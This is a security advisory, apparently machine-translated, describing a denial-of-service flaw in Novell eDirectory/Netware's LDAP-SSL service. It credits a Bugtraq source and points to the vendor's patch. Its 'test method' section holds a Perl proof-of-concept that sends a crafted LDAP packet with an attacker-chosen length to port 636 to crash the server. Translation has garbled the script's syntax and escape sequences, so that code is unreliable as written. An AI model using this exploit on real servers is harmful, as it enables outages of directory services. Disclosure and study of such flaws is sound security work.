Novell eDirectory/Netware LDAP-SSL background program Vulnerability

Release date:
Updated on:

Affected Systems:
Novell Netware
Novell eDirectory
Description:
--------------------------------------------------------------------------------
Novell eDirectory is a cross-platform Directory Server.

A denial of service vulnerability exists in the implementation of the Novell eDirectory/Netware LDAP-SSL background program. Attackers can exploit this vulnerability to cause system-wide denial of service because the system improperly allocates user-specified memory.

<* Source: Henri Lindberg (henri.lindberg@louhi.fi)

Link: http://marc.info /? L = bugtraq & m = 130556395605091 & w = 2
*>

Test method:
--------------------------------------------------------------------------------

Alert

The following procedures (methods) may be offensive and are intended only for security research and teaching. Users are at your own risk!

#! /Usr/bin/perl
# Usage:./novell. pl 10.0.0.1 0x41424344
Use IO: Socket: SSL;
$ Socket = new IO: Socket: SSL (Proto => "tcp ",
PeerAddr => $ ARGV [0], PeerPort => 636 );
Die "unable to connect to $ host: $ port ($ !) \ N "unless $ socket;
Print $ socket "\ x30 \ x84". pack ("N", hex ($ ARGV [1]).
"\ X02 \ x01 \ x01 \ x60 \ x09 \ x02 \ x01 \ x03 \ x04 \ x02 \ x44 \ x4e \ x80 \ x00 ";
Close $ socket; print "done \ n ";

Suggestion:
--------------------------------------------------------------------------------
Vendor patch:

Novell
------
The vendor has released a patch to fix this security problem. Please download it from the vendor's homepage:

Http://support.novell.com/security-alerts